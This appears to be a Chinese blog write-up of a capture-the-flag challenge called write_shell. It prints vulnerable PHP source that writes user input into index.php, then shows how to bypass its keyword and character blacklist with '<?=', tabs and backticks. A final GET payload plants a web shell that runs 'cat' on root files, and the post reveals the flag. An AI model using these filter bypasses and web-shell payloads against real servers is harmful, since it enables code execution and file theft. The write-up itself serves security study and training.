[红明谷CTF 2021]write_shell

原创

Sk1y 于 2021-12-30 20:47:22 发布

分类专栏： CTF刷题记录 红明谷CTF2021复现 文章标签： php Web CTF

本文链接：https://blog.csdn.net/RABCDXB/article/details/122245134

CTF刷题记录 同时被 2 个专栏收录

143 篇文章 3 订阅

订阅专栏

红明谷CTF2021复现

3 篇文章 0 订阅

订阅专栏

[红明谷CTF 2021]write_shell

文章目录

代码审计

题目给出了源码

```php
<?php
error_reporting(0);
highlight_file(__FILE__);
//检查是否还有违规符号
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}
//把input的值进行check，分为数组和非数组两种情况
function waf($input){
 //判断input是否为数组
  if(is_array($input)){
      foreach($input as $key=>$output){
    //每一次循环，当前数组元素的键与值就都会被赋值给 $key 和 $output 变量（数字指针会逐一地移动），在进行下一次循环时，你将看到数组中的下一个键与值。
          //调用Waf函数，也就是进行一个check，如果通过check，返回原值
    $input[$key] = waf($output);
      }
  }else{
   //同样是check
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
//如果$_GET['action']不为null，则返回$_GET['action'];否则返回null
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
  //对data进行检查
        waf($data);
  //生成index.php
        file_put_contents("$dir" . "index.php", $data);
}
?>
```

分析可得思路：

传参action=pwd时，会得到上传路径`sandbox/cc551ab005b2e60fbdc88de809b2c4b1/`

```
    <span style="color: #007700">);<br />
    }<br />
    </span>
    <span style="color: #0000BB">?&gt;<br />
    </span>
    </span>
</code>
sandbox/cc551ab005b2e60fbdc88de809b2c4b1/
```

传参action=upload时，可以写入index.php，写入的内容是我们GET方式传入的data中的内容

- 过滤了`php`字符，使用<?=可以代替
- 过滤了`空格`，可以使用\t代替
- 过滤了`;`，可以使用``进行代替

比如1.php

```
<?php
system("ls");
?>
```

2.php

```
<?=
`ls`
?>
```

1.php和2.php的作用是一样的，都是显示当前目录文件

最后的payload

```
?action=upload&data=<?=`cat\t/*`?>
```

没有回显`hacker!!!`，说明成功写入

然后访问上传的index.php

```
/sandbox/cc551ab005b2e60fbdc88de809b2c4b1/index.php
```

回显结果

flag{3ba596bb-28d6-4dd4-ab26-6b97c8913b41} #!/bin/bash if [[-f /flag.sh]]; then source /flag.sh fi apache2-foreground

参考链接

1. 红明谷 CTF2021 Web部分 WriteUp – glzjin (zhaoj.in)